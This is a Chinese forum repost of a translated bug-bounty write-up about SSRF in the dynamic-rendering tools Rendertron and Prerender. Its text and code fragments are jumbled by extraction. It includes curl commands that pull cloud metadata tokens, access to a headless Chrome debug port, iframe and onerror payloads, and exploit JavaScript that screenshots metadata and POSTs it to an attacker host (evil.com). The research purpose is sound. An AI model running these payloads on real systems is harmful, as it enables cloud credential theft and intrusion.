搜索

[2247] 2021-01-18_利用动态渲染引擎来控制Web应用

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2021-01-18_利用动态渲染引擎来控制Web应用 利 用 动 态 渲 染 引 擎 来 控 制 W e b 应 用 原 创   V a s i l i i   E r m i l o v   E D I 安 全   2 0 2 1 - 0 1 - 1 8 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 0 1 前 言 前 言 动 态 渲 染 是 一 种 用 于 将 预 渲 染 的 网 站 页 面 提 供 给 爬 虫 的 技 术 （ 例 如 G o o g l e 搜 索 引 擎 ， S l a c k 或 T w i t t e r 机 器 人 等 ） 。 动 态 渲 染 最 流 行 的 开 源 应 用 程 序 是 R e n d e r t r o n 和 P r e r e n d e r 。 如 果 使 用 不 当 ， 两 者 都 可 能 将 漏 洞 引 入 网 络 。 我 使 用 R e n d e r t r o n 中 的 一 个 漏 洞 来 接 管 生 产 W e b 应 用 程 序 ， 并 通 过 错 误 赏 金 计 划 赚 了 5 , 0 0 0 美 元 。 0 2 0 2 介 绍 介 绍 如 今 ， 现 代 J a v a S c r i p t 框 架 已 广 泛 用 于 网 站 开 发 。 现 在 ， 我 们 有 了 P W A （ 渐 进 式 W e b 应 用 程 序 ） 和 S P A （ 单 页 应 用 程 序 ） ， 而 不 是 纯 H T M L 页 面 ， 它 们 在 客 户 端 浏 览 器 中 完 成 了 大 部 分 工 作 ， 并 使 用 J a v a S c r i p t 即 时 生 成 了 页 面 内 容 。 该 技 术 具 有 许 多 优 点 ， 并 且 可 以 有 效 地 创 建 流 畅 的 U I 和 U X ， 但 同 时 ， 它 也 不 适 合 S E O ， 因 为 未 开 发 爬 虫 和 漫 游 器 来 呈 现 或 理 解 J a v a S c r i p t 。 帮 助 机 器 人 获 取 有 效 H T M L 内 容 的 常 见 方 法 之 一 是 在 服 务 器 上 的 无 头 浏 览 器 实 例 （ 例 如 P u p p e t e e r 或 P l a y w r i g h t ） 中 打 开 请 求 的 页 面 ， 获 取 结 果 H T M L ， 剥 离 不 希 望 被 抓 取 的 部 分 ， 然 后 将 其 返 回 。 这 种 方 法 称 为 动 态 渲 染 ， 是 G o o g l e 推 广 的 一 种 可 提 供 内 容 的 方 法 。 我 在 对 N o d e . j s 生 态 系 统 中 的 程 序 包 进 行 安 全 性 审 查 时 遇 到 了 这 种 类 型 的 应 用 程 序 ， 以 了 解 在 生 产 中 使 用 无 头 浏 览 器 时 可 能 出 现 的 漏 洞 。 我 编 写 了 S e m g r e p 规 则 并 大 规 模 运 行 它 们 ， 以 检 测 无 头 浏 览 器 的 可 能 易 受 攻 击 的 用 途 。 这 些 规 则 可 在 以 下 S e m g r e p 包 中 找 到 ： 这 些 S e m g r e p 规 则 产 生 了 许 多 结 果 以 进 行 分 类 ， 在 对 它 们 进 行 调 查 之 后 ， 我 发 现 大 量 使 用 无 头 浏 览 器 的 模 块 旨 在 帮 助 网 站 管 理 员 进 行 动 态 渲 染 。 由 于 该 概 念 的 日 益 普 及 ， 我 认 为 重 要 的 是 调 查 并 了 解 在 生 产 中 使 用 动 态 渲 染 时 可 能 出 问 题 的 地 方 。 这 项 研 究 的 范 围 包 括 两 种 最 流 行 的 开 源 动 态 呈 现 应 用 ， R e n d e r t r o n 和 预 渲 染 的 ， 但 所 描 述 的 攻 击 可 以 被 应 用 到 这 种 类 型 的 其 他 应 用 程 序 ， 以 及 。 我 还 将 分 享 如 何 应 用 这 些 知 识 来 接 管 一 些 c u r l 请 求 的 生 产 W e b 服 务 器 并 获 得 5 , 0 0 0 美 元 的 赏 金 。 0 3 0 3 结 构 结 构 如 果 网 页 是 在 客 户 端 上 动 态 生 成 的 ， 但 需 要 由 搜 索 引 擎 正 确 索 引 ， 则 通 常 的 方 法 是 捕 获 来 自 搜 寻 器 或 漫 游 器 的 请 求 ， 将 其 呈 现 在 服 务 器 端 ， 并 输 出 包 含 所 有 内 容 的 漂 亮 H T M L 。 该 流 程 通 常 如 下 所 示 ： W e b 服 务 器 通 过 检 查 U s e r - A g e n t 标 头 （ 在 某 些 情 况 下 为 U R L 查 询 ） 来 检 测 爬 网 程 序 。 请 求 被 路 由 到 渲 染 应 用 程 序 。 呈 现 应 用 程 序 运 行 无 头 浏 览 器 并 打 开 原 始 请 求 的 U R L ， 该 U R L 将 呈 现 页 面 ， 就 好 像 用 户 使 用 浏 览 器 查 看 了 该 页 面 一 样 。 生 成 的 H T M L 被 剥 离 标 签 ， 并 返 回 到 W e b 服 务 器 。 W e b 服 务 器 将 动 态 呈 现 的 页 面 返 回 到 搜 寻 器 。 h t t p s ： / / s e m g r e p . d e v / p / h e a d l e s s - b r o w s e r < s c r i p t >
0 4 0 4 识 别 识 别 如 何 识 别 动 态 渲 染 应 用 程 序 如 何 识 别 动 态 渲 染 应 用 程 序 首 先 ， 动 态 渲 染 旨 在 与 需 要 正 确 索 引 的 网 页 一 起 使 用 ， 因 此 根 据 定 义 可 以 公 开 使 用 它 们 。 最 重 要 的 是 ， 仅 当 页 面 上 的 大 多 数 内 容 由 J a v a S c r i p t 生 成 （ 通 常 使 用 R e a c t ， A n g u l a r ， V u e 等 J S 框 架 ） 并 同 时 动 态 创 建 时 ， 预 渲 染 才 有 意 义 。 一 些 示 例 包 括 ： 实 时 更 新 的 新 闻 网 站 的 主 页 或 包 含 最 受 欢 迎 产 品 列 表 的 在 线 商 店 页 面 。 找 到 候 选 站 点 后 ， 您 可 以 通 过 将 多 个 请 求 发 送 到 同 一 页 面 但 使 用 不 同 的 U s e r - A g e n t 标 头 来 标 识 是 否 可 以 进 行 动 态 渲 染 （ 请 记 住 ， 动 态 渲 染 会 尝 试 为 搜 寻 器 渲 染 页 面 ） ： 如 果 卷 曲 结 果 不 同 并 且 伪 造 的 爬 虫 请 求 的 响 应 具 有 漂 亮 的 H T M L ， 且 没 有 任 何 < s c r i p t > 标 签 ， 则 表 明 该 网 站 正 在 使 用 动 态 呈 现 。 您 可 以 使 用 作 为 示 例 进 行 测 试 - 这 是 一 个 演 示 动 态 渲 染 的 演 示 站 点 。 如 果 要 查 看 每 个 应 用 程 序 如 何 响 应 各 种 U s e r - A g e n t 标 头 ， 则 可 以 查 看 代 码 本 身 ： 此 外 ， R e n d e r t r o n 将 返 回 以 下 标 头 ： X - R e n d e r e r :   R e n d e r t r o n 。 P r e r e n d e r 具 有 添 加 X - P r e r e n d e r :   1 标 题 的 选 项 ， 但 这 不 是 默 认 行 为 。 最 后 ， R e n d e r t r o n 和 P r e r e n d e r e r 都 解 析 特 定 的 元 标 记 ， 以 更 改 响 应 标 头 或 H T T P 状 态 代 码 。 换 句 话 说 ， 它 使 开 发 人 员 有 机 会 通 过 将 m e t a 标 签 保 留 在 页 面 的 源 代 码 中 来 操 纵 渲 染 结 果 。 这 些 还 可 以 用 于 标 识 动 态 渲 染 应 用 程 序 。 对 于 P r e r e n d e r ， 它 们 如 下 所 示 ： 对 于 R e n d e r t r o n ： 0 5 0 5 简 易 简 易 S S R F 当 动 态 渲 染 应 用 程 序 公 开 可 用 时 ， 它 很 容 易 利 用 ， 因 为 它 允 许 您 直 接 与 该 应 用 程 序 交 互 并 发 送 任 意 请 求 ， 包 括 发 送 到 本 地 端 点 。 访 问 本 地 基 础 结 构 有 一 些 限 制 ， 但 是 根 据 动 态 渲 染 应 用 程 序 的 版 本 ， 可 以 绕 过 它 们 。 R e n d e r t r o n R e n d e r t r o n 易 于 识 别 ， 因 为 它 具 有 W e b 前 端 ， 可 让 您 发 送 请 求 并 获 取 所 请 求 页 面 的 屏 幕 截 图 。 3 . 1 . 0 版 具 有 允 许 列 表 选 项 ， 可 将 呈 现 限 制 为 域 或 U R L 模 式 的 给 定 列 表 （ 但 需 要 进 行 配 置 ： ） 3 . 0 . 0 版 会 阻 止 对 G o o g l e   C l o u d 的 任 何 请 求 - 但 是 ， 可 以 通 过 在 i F r a m e 中 请 求 元 数 据 终 结 点 来 绕 过 此 请 求 。 此 限 制 不 适 用 于 其 他 云 提 供 商 （ A W S ， D i g i t a l O c e a n 等 ） ， 仍 然 是 危 险 ！ 较 旧 的 版 本 会 阻 止 对 G o o g l e   C l o u d 的 请 求 ， 但 允 许 对 其 B e t a 版 本 的 请 求 #   r e q u e s t   p r e t e n d i n g   t o   b e   a   C h r o m e   b r o w s e r c u r l   - v   - A   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 4 . 0 . 4 1 4 7 . 1 0 5   S a f a r i / 5 3 7 . 3 6 "   h t t p s : / / s h o p . p o l y m e r - p r o j e c t . o r g / #   r e q u e s t   p r e t e n d i n g   t o   b e   a   S l a c k   c h a t c u r l   - v   - A   " S l a c k b o t - L i n k E x p a n d i n g   1 . 0   ( + h t t p s : / / a p i . s l a c k . c o m / r o b o t s ) "   h t t p s : / / s h o p . p o l y m e r - p r o j e c t . o r g / h t t p s : / / s h o p . p o l y m e r - p r o j e c t . o r g / h t t p s : / / g i t h u b . c o m / p r e r e n d e r / p r e r e n d e r - n o d e / b l o b / f 9 c 5 e 1 2 b 0 e 2 7 1 d e d 3 e 3 c b 6 c 7 0 b 7 0 3 4 8 5 2 8 0 e c 9 d 6 / i n d e x . j s # L 3 7 h t t p s : / / g i t h u b . c o m / G o o g l e C h r o m e / r e n d e r t r o n / b l o b / a 1 d d 3 a b 1 f 0 5 4 b c 1 9 e 8 9 d c d e c d b 7 1 d c 0 0 4 f 7 d 0 6 8 e / m i d d l e w a r e / s r c / m i d d l e w a r e . t s # L 2 4 < m e t a   n a m e = " p r e r e n d e r - s t a t u s - c o d e "   c o n t e n t = " 3 0 2 "   / > < m e t a   n a m e = " p r e r e n d e r - h e a d e r "   c o n t e n t = " L o c a t i o n :   h t t p s : / / w w w . g o o g l e . c o m "   / > < m e t a   n a m e = " r e n d e r : s t a t u s _ c o d e "   c o n t e n t = " 4 0 4 "   / > h t t p : / / m e t a d a t a . g o o g l e . i n t e r n a l / c o m p u t e M e t a d a t a / v 1 b e t a 1 /
（ 自 9 月 3 0 日 起 不 推 荐 使 用 ） 1 . 1 . 1 和 更 早 版 本 允 许 各 种 请 求 R e n d e r t r o n 的 A P I （ 来 自 文 档 ） ： G E T   /   r e n d e r   / ： u r l 渲 染 端 点 将 渲 染 并 序 列 化 您 的 页 面 。 G E T   /   s c r e e n s h o t   / ： u r l P O S T   /   s c r e e n s h o t   / ： u r l 屏 幕 快 照 端 点 获 取 页 面 的 屏 幕 截 图 （ 作 为 图 像 ） 。 P O S T 主 体 中 的 其 他 选 项 作 为 J S O N 字 符 串 提 供 。 有 关 可 用 选 项 ， 请 参 见 P u p p e t e e r 文 档 。 您 不 能 指 定 类 型 （ 默 认 为 j p e g ） 和 编 码 （ 默 认 为 二 进 制 ） 参 数 。 因 此 ， 当 您 偶 然 发 现 R e n d e r t r o n 实 例 时 ， 值 得 尝 试 执 行 S S R F 攻 击 并 窃 取 云 令 牌 ， 如 下 所 示 ： 要 么 ， （ 这 是 S S R F   p a y l o a d 的 资 源 。 ） 如 果 请 求 被 阻 止 ， 则 仍 然 可 以 通 过 将 请 求 发 送 到 /   s c r e e n s h o t 并 强 制 服 务 器 访 问 您 控 制 的 网 站 来 强 制 无 头 浏 览 器 获 取 i F r a m e 并 输 出 元 数 据 端 点 的 屏 幕 快 照 ： w w w . a t t a c k e r s - w e b s i t e . h e r e 上 的 H T M L 包 含 带 有 元 数 据 端 点 的 i F r a m e 。 这 迫 使 R e n d e r t r o n 获 取 攻 击 者 H T M L 并 将 页 面 呈 现 在 其 自 己 的 服 务 器 上 。 这 意 味 着 i F r a m e 也 将 在 其 自 己 的 服 务 器 上 解 析 。 这 将 输 出 包 含 云 实 例 元 数 据 的 i F r a m e 的 屏 幕 截 图 。 在 3 . 1 . 0 版 本 中 修 补 预 渲 染 预 渲 染 P r e r e n d e r 没 有 G U I 前 端 ， 也 不 容 易 识 别 。 更 糟 糕 的 是 ， 请 求 / 返 回 4 0 0 而 没 有 任 何 有 趣 的 标 头 ： 预 渲 染 A P I G E T   / ： ： u r l G E T   /   r e n d e r ？ ？ u r l   = ： ： u r l P O S T   /   r e n d e r ？ ？ u r l   = ： ： u r l 选 项 列 表 可 以 在 d o c s 中 找 到 ， 主 要 要 点 ： P r e r e n d e r 也 能 够 创 建 屏 幕 截 图 c u r l   h t t p s : / / r e n d e r t r o n - i n s t a n c e . h e r e / r e n d e r / h t t p : / / m e t a d a t a . g o o g l e . i n t e r n a l / c o m p u t e M e t a d a t a / v 1 b e t a 1 / i n s t a n c e / s e r v i c e - a c c o u n t s / d e f a u l t / t o k e n c u r l   h t t p s : / / r e n d e r t r o n - i n s t a n c e . h e r e / r e n d e r / h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 / l a t e s t / m e t a - d a t a / c u r l   h t t p s : / / r e n d e r t r o n - i n s t a n c e . h e r e / r e n d e r / h t t p : / / w w w . a t t a c k e r s - w e b s i t e . h e r e / i f r a m e - e x a m p l e < h t m l >     < h e a d >         < m e t a   c o n t e n t = " t e x t / h t m l ;   c h a r s e t = u t f - 8 "   h t t p - e q u i v = " C o n t e n t - T y p e "   / >     < / h e a d >     < b o d y >         < i f r a m e             s r c = " h t t p : / / m e t a d a t a . g o o g l e . i n t e r n a l / c o m p u t e M e t a d a t a / v 1 b e t a 1 / i n s t a n c e / s e r v i c e - a c c o u n t s / d e f a u l t / t o k e n ? a l t = j s o n "             w i d t h = " 4 6 8 "             h e i g h t = " 6 0 0 "         > < / i f r a m e >     < / b o d y > < / h t m l H T T P / 1 . 1   4 0 0   B a d   R e q u e s t C o n t e n t - T y p e :   t e x t / h t m l ; c h a r s e t = U T F - 8 V a r y :   A c c e p t - E n c o d i n g D a t e :   M o n ,   0 3   A u g   2 0 2 0   0 6 : 5 5 : 2 9   G M T
  （ 默 认 为 f a l s e ） ， 如 果 为 t r u e ， 则 遵 循 3 0 1 重 定 向 识 别 应 用 程 序 是 否 正 在 使 用 P r e r e n d e r 的 唯 一 方 法 是 像 发 送 请 求 并 检 查 输 出 。 P r e r e n d e r 没 有 针 对 云 数 据 泄 露 的 任 何 内 置 保 护 ， 但 允 许 用 户 配 置 黑 名 单 和 白 名 单 ， 因 此 ， 根 据 其 配 置 ， 可 能 有 可 能 请 求 云 令 牌 ， 例 如 最 重 要 的 是 ， P r e r e n d e r 通 过 调 试 接 口 连 接 到 无 头 C h r o m e ， 该 接 口 在 硬 编 码 端 口 9 2 2 2 上 打 开 。 因 此 ， 如 果 允 许 本 地 请 求 ， 则 可 以 找 出 C h r o m e 调 试 I D 然 后 直 接 将 W e b S o c k e t 请 求 发 送 到 无 头 C h r o m e ， 并 对 其 进 行 操 作 ， 例 如 ， 打 开 新 标 签 页 ， 发 送 任 意 请 求 ， 打 开 本 地 文 件 。 R e n d e r t r o n 和 P r e r e n d e r 都 将 S S R F 引 入 了 使 用 它 们 的 环 境 中 。 即 使 云 端 点 受 到 限 制 ， 也 仍 然 可 能 将 请 求 发 送 到 目 标 本 地 基 础 结 构 的 其 他 部 分 ， 例 如 缓 存 服 务 器 或 D B 。 在 进 行 这 项 研 究 时 ， 我 发 现 有 一 些 R e n d e r t r o n 实 例 向 公 众 公 开 ， 但 是 它 们 都 不 属 于 任 何 漏 洞 赏 金 计 划 ， 因 此 我 就 停 在 那 里 。 0 6 0 6 利 用 利 用 通 过 通 过 W e b 应 用 程 序 进 行 攻 击 应 用 程 序 进 行 攻 击 就 我 而 言 ， 要 寻 找 动 态 渲 染 应 用 程 序 ， 我 只 是 简 单 地 向 我 发 送 了 一 个 可 用 的 漏 洞 赏 金 列 表 ， 向 每 个 域 和 端 点 发 送 了 一 个 请 求 ， U s e r - A g e n t :   S l a c k b o t   b l a b l a 并 发 现 只 有 一 个 目 标 可 以 做 出 响 应 X - R e n d e r e r :   R e n d e r t r o n - 但 是 这 足 以 赚 取 赏 金 。 如 果 动 态 渲 染 应 用 未 公 开 ， 但 您 知 道 某 个 站 点 正 在 使 用 它 ， 则 仍 然 可 以 使 用 开 放 重 定 向 来 执 行 上 述 攻 击 。 如 果 代 理 渲 染 的 页 面 允 许 开 放 重 定 向 （ 许 多 公 司 都 不 认 为 存 在 漏 洞 ） 或 任 何 类 型 的 H T M L 或 J a v a S c r i p t 注 入 （ 无 论 是 漏 洞 还 是 功 能 的 一 部 分 ） ， 仍 可 以 访 问 该 渲 染 应 用 程 序 。 网 站 ） 。 如 果 存 在 打 开 的 重 定 向 ， 并 且 在 渲 染 应 用 程 序 实 例 上 允 许 重 定 向 ， 则 攻 击 它 就 像 发 送 带 有 c u r l 的 请 求 一 样 容 易 。 例 如 ： 如 果 直 接 访 问 受 到 限 制 ， 则 可 以 通 过 i F r a m e 请 求 敏 感 数 据 。 我 在 漏 洞 赏 金 目 标 中 发 现 的 一 个 R e n d e r t r o n 实 例 具 有 一 个 开 放 的 重 定 向 ， 因 此 这 对 我 有 用 。 当 时 ， 寻 找 X S S 或 H T M L 注 入 似 乎 是 一 项 艰 巨 的 任 务 ， 因 此 我 专 注 于 探 索 开 放 式 重 定 向 机 会 。 大 多 数 开 放 式 重 定 向 备 忘 单 和 教 程 都 集 中 于 后 端 的 重 定 向 ， 但 是 动 态 渲 染 的 概 念 适 用 于 具 有 丰 富 客 户 端 J a v a S c r i p t 的 单 页 应 用 程 序 ， 因 此 在 这 种 类 型 的 应 用 程 序 中 ， 您 可 能 会 更 幸 运 地 在 前 端 代 码 。 f o l l o w R e d i r e c t s / r e n d e r ? u r l = h t t p : / / w w w . e x a m p l e . c o m c u r l   h t t p s : / / r e n d e r t r o n - i n s t a n c e . h e r e / r e n d e r ? u r l = h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 / l a t e s t / m e t a - d a t a / c u r l   h t t p s : / / r e n d e r t r o n - i n s t a n c e . h e r e / r e n d e r ? u r l = h t t p : / / l o c a l h o s t : 9 2 2 2 / j s o n / c u r l   - A   " S l a c k b o t - L i n k E x p a n d i n g   1 . 0   ( + h t t p s : / / a p i . s l a c k . c o m / r o b o t s ) "   h t t p s : / / w w w . w e b s i t e . c o m / r e d i r e c t U r l = h t t p : / / m e t a d a t a . g o o g l e . i n t e r n a l / c o m p u t e M e t a d a t a / v 1 b e t a 1 / c u r l   - A   " S l a c k b o t - L i n k E x p a n d i n g   1 . 0   ( + h t t p s : / / a p i . s l a c k . c o m / r o b o t s ) "   h t t p s : / / w w w . w e b s i t e . c o m / r e d i r e c t U r l = h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 / l a t e s t / m e t a - d a t a /
这 是 S e m g r e p 帮 了 我 很 多 忙 的 地 方 ： 我 引 导 了 一 大 堆 S e m g r e p 模 式 ， 这 些 模 式 将 突 出 显 示 J a v a S c r i p t 代 码 中 可 能 的 开 放 式 重 定 向 ， 并 用 它 扫 描 了 目 标 W e b 应 用 程 序 的 客 户 端 J a v a S c r i p t 源 。 使 用 这 种 方 法 ， 我 在 调 查 的 一 个 小 时 内 发 现 了 一 个 开 放 的 重 定 向 。 此 后 ， 剩 下 的 唯 一 事 情 就 是 使 用 此 开 放 重 定 向 来 强 制 服 务 器 上 的 无 头 浏 览 器 为 我 检 索 云 元 数 据 令 牌 ： 它 奏 效 了 ， 程 序 给 了 我 $   5 , 0 0 0 的 b u g 赏 金 ！ 我 很 幸 运 遇 到 了 不 限 制 直 接 访 问 元 数 据 端 点 的 R e n d e r t r o n 版 本 。 但 是 ， 如 果 限 制 了 对 元 数 据 端 点 的 直 接 访 问 ， 则 仍 然 可 以 在 i F r a m e 中 请 求 它 。 唯 一 的 问 题 是 如 何 获 取 i F r a m e 的 内 容 。 这 是 截 图 功 能 派 上 用 场 的 地 方 ！ 在 这 种 情 况 下 ， 最 终 的 攻 击 是 ： 1 在 无 头 的 浏 览 器 标 签 中 打 开 由 攻 击 者 控 制 的 H T M L - p a g e   # 1 我 使 用 的 一 组 规 则 可 以 在 以 下 位 置 找 到 ： h t t p s   :   / / s e m g r e p . d e v / p / c l i e n t s i d e - j s
2 这 将 强 制 浏 览 器 将 请 求 发 送 到 自 身 （ 本 地 ） ， 这 将 呈 现 呈 现 应 用 程 序 的 结 果 ， 呈 现 呈 现 由 攻 击 者 控 制 的 网 页 的 结 果 。 3 无 头 浏 览 器 打 开 U R L （ p a g e   # 3 ） ， 该 U R L 再 次 将 请 求 发 送 到 渲 染 应 用 程 序   4 - 5 无 头 浏 览 器 使 用 以 下 H T M L 打 开 攻 击 者 控 制 的 网 站 6 - 7 会 强 制 浏 览 器 获 取 包 含 带 云 元 数 据 （ 例 如 的 页 面 的 屏 幕 截 图 8 ， 然 后 将 其 发 送 到 攻 击 者 主 机 ， 但 是 由 于 C O R S 的 保 护 ， 这 两 个 请 求 均 无 法 正 常 工 作 < h t m l >     < b o d y >         < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " >             f e t c h (                 " h t t p : / / l o c a l h o s t : 3 0 0 0 / r e n d e r / h t t p : / / l o c a l h o s t : 3 0 0 0 / r e n d e r / h t t p : / / w w w . a t t a c k e r s - w e b s i t e . u r l / e x p l o i t . h t m l "             ) ;         < / s c r i p t >     < / b o d y > < / h t m l > （ p a g e   # 2 ）   h t t p : / / l o c a l h o s t : 3 0 0 0 / r e n d e r / h t t p : / / l o c a l h o s t : 3 0 0 0 / r e n d e r / h t t p : / / w w w . a t t a c k e r s - w e b s i t e . u r l / e x p l o i t . h t m l h t t p : / / l o c a l h o s t : 3 0 0 0 / r e n d e r / h t t p : / / w w w . a t t a c k e r s - w e b s i t e . u r l / e x p l o i t . h t m l h t t p : / / w w w . a t t a c k e r s - w e b s i t e . u r l / e x p l o i t . h t m l （ p a g e   # 4 ） < h t m l >     < b o d y >         < i m g             i d = " h a c k e d "             s r c = " h t t p : / / l o c a l h o s t : 3 0 0 0 / s c r e e n s h o t / h t t p : / / m e t a d a t a . g o o g l e . i n t e r n a l / c o m p u t e M e t a d a t a / v 1 b e t a 1 / ? w i d t h = 8 0 0 & h e i g h t = 8 0 0 "             w i d t h = " 8 0 0 "             h e i g h t = " 8 0 0 "         / >         < i m g             s r c = " x "             o n e r r o r = ' ( n = 0 , i = d o c u m e n t . g e t E l e m e n t B y I d ( " h a c k e d " ) , i . o n l o a d = f u n c t i o n ( ) { n + + ; e = d o c u m e n t . c r e a t e E l e m e n t ( " c a n v a s " ) ; e . w i d t h = i . w i d t h , e . h e i g h t = i . h e i g h t , e . g e t C o n t e x t ( " 2 d " ) . d r a w I m a g e ( i , 0 , 0 ) ; t = e . t o D a t a U R L ( " i m a g e / p n g " ) ; i f ( n > 1 ) { f e t c h ( " h t t p : / / w w w . e v i l . c o m " , { m e t h o d : " P O S T " , b o d y : J S O N . s t r i n g i f y ( t ) } ) } } ) ( ) '         / >     < / b o d y > < / h t m l > / /   u n m i n i f i e d   v e r s i o n   o f   J a v a S c r i p t   c o d e   t h a t   e x e c u t e s   o n   ‘ o n e r r o r ’   e v e n t : v a r   n   =   0 ; v a r   i m g   =   d o c u m e n t . g e t E l e m e n t B y I d ( " h a c k e d " ) ;   / /   < - -   s c r e e n s h o t   o f   t h e   m e t a d a t a   e n d p o i n t i m g . o n l o a d   =   f u n c t i o n ( )   {     / /   w h e n   s c r e e n s h o t   i s   l o a d e d     n + + ;     / /   c o p y   s c r e e n s h o t   t o   c a n v a s   e l e m e n t     v a r   c a n v a s E l   =   d o c u m e n t . c r e a t e E l e m e n t ( " c a n v a s " ) ;     ( c a n v a s E l . w i d t h   =   i m g . w i d t h ) ,         ( c a n v a s E l . h e i g h t   =   i m g . h e i g h t ) ,         c a n v a s E l . g e t C o n t e x t ( " 2 d " ) . d r a w I m a g e ( i m g ,   0 ,   0 ) ;     / /   g e t   s c r e e n s h o t   c o n t e n t s     v a r   i m g C o n t e n t   =   e . t o D a t a U R L ( " i m a g e / p n g " ) ;     i f   ( n   >   1 )   {         f e t c h ( " h t t p : / / w w w . a t t a c k e r s - w e b s i t e . u r l " ,   {             / /   s e n d   i t   t o   a t t a c k e r s   w e b s i t e             m e t h o d :   " P O S T " ,             b o d y :   J S O N . s t r i n g i f y ( i m g C o n t e n t ) ,         } ) ;     } } ; h t t p : / / m e t a d a t a . g o o g l e . i n t e r n a l / c o m p u t e M e t a d a t a / v 1 b e t a 1 / ） 的 i F r a m e （ l o c a l h o s t 在 当 前 U R L 为 时 从 中 获 取 图 像 h t t p : / / w w w . a t t a c k e r s - w e b s i t e . u r l ） 。
尽 管 如 此 ， 结 果 H T M L 仍 返 回 到 无 头 浏 览 器 p a g e   # 3 。 9 - 1 0 在 无 头 浏 览 器 中 呈 现 了 相 同 的 H T M L ， p a g e   # 3 但 这 一 次 所 有 请 求 都 可 以 正 常 工 作 ， 因 为 未 违 反 C O R S 规 则 （ 页 面 的 主 机 与 图 像 的 - 相 同 l o c a l h o s t : 3 0 0 0 ） 。 1 1 具 有 云 元 数 据 值 的 图 片 将 发 送 给 攻 击 者 。 在 示 例 中 广 泛 使 用 的 端 点 已 被 G o o g l e 弃 用 ， 不 再 可 用 。 这 就 是 为 什 么 在 G o o g l e   C l o u d 上 运 行 的 R e n d e r t r o n 实 例 不 再 如 此 轻 易 地 公 开 其 令 牌 的 原 因 。 无 论 如 何 ， 请 记 住 ， 这 项 研 究 的 方 法 和 技 巧 不 仅 可 以 用 于 云 令 牌 渗 透 ， 而 且 可 以 广 泛 地 利 用 S S R F 。 0 7 0 7 技 巧 和 窍 门 技 巧 和 窍 门 即 使 对 本 地 基 础 结 构 的 所 有 请 求 都 失 败 了 ， 如 果 有 一 个 开 放 的 重 定 向 ， 就 有 机 会 通 过 它 实 现 X S S 。 如 前 所 述 ， 动 态 渲 染 应 用 程 序 仅 剥 离 脚 本 和 链 接 标 签 ， 因 此 保 留 H T M L 属 性 中 的 J a v a S c r i p t 代 码 。 这 就 是 为 什 么 重 定 向 到 像 这 样 的 攻 击 者 控 制 页 面 将 导 致 X S S 。 不 仅 如 此 - 因 为 将 在 同 一 域 下 执 行 代 码 ， 所 以 将 绕 过 C O R S 。 如 本 文 开 头 所 述 ， R e n d e r t r o n 和 P r e r e n d e r 都 解 析 H T M L 以 获 取 用 于 操 作 响 应 标 头 的 特 定 元 标 记 。 这 本 身 不 是 漏 洞 ， 但 是 例 如 ， 如 果 攻 击 者 有 机 会 在 页 面 上 注 入 H T M L 并 且 由 于 某 些 原 因 需 要 操 纵 标 头 （ 例 如 ， 覆 盖 X - F r a m e - O p t i o n s 或 更 改 ） ， 则 可 以 在 漏 洞 利 用 链 中 使 用 该 漏 洞 。 一 些 与 C O R S 相 关 的 标 头 ） 。 另 外 ， 请 记 住 ， R e n d e r t r o n 和 P r e r e n d e r 都 允 许 为 通 过 它 请 求 的 网 站 配 置 允 许 列 表 和 拒 绝 者 ， 因 此 ， 如 果 您 的 利 用 不 起 作 用 ， 则 始 终 值 得 尝 试 通 过 利 用 D N S 记 录 来 绕 过 限 制 。 0 8 0 8 概 要 概 要 动 态 呈 现 应 用 程 序 将 来 会 被 广 泛 使 用 ， 因 为 它 们 代 表 了 将 现 代 J a v a S c r i p t 框 架 与 S E O 友 好 内 容 结 合 在 一 起 的 便 捷 方 式 。 我 们 可 以 从 G o o g l e 这 样 的 公 司 那 里 看 到 这 一 点 ， 并 且 更 多 地 采 用 这 种 方 法 。 因 此 ， 重 要 的 是 要 了 解 该 技 术 可 能 引 入 的 弱 点 。 如 果 您 是 防 御 者 ： 请 注 意 ， 如 果 配 置 不 正 确 ， 基 础 结 构 中 的 无 头 浏 览 器 可 能 会 引 入 漏 洞 。 另 外 ， 请 记 住 ， 小 的 安 全 疏 漏 可 能 是 R C E 的 第 一 步 。 幸 运 的 是 ， 许 多 安 全 配 置 错 误 都 可 以 通 过 现 代 静 态 分 析 工 具 发 现 。 如 果 您 站 在 攻 击 一 边 ： 善 用 自 己 的 力 量 并 遵 守 道 德 规 范 。 最 后 ， 如 果 您 正 在 开 发 使 用 无 头 浏 览 器 的 应 用 程 序 ， 请 考 虑 使 用 S e m g r e p 加 快 安 全 性 测 试 。 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 h t t p : / / m e t a d a t a . g o o g l e . i n t e r n a l / c o m p u t e M e t a d a t a / v 1 b e t a 1 /     < h t m l >         < b o d y >             < i m g   s r c = " x "   o n e r r o r = " a l e r t ( 1 ) "   / >         < / b o d y >     < / h t m l > 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理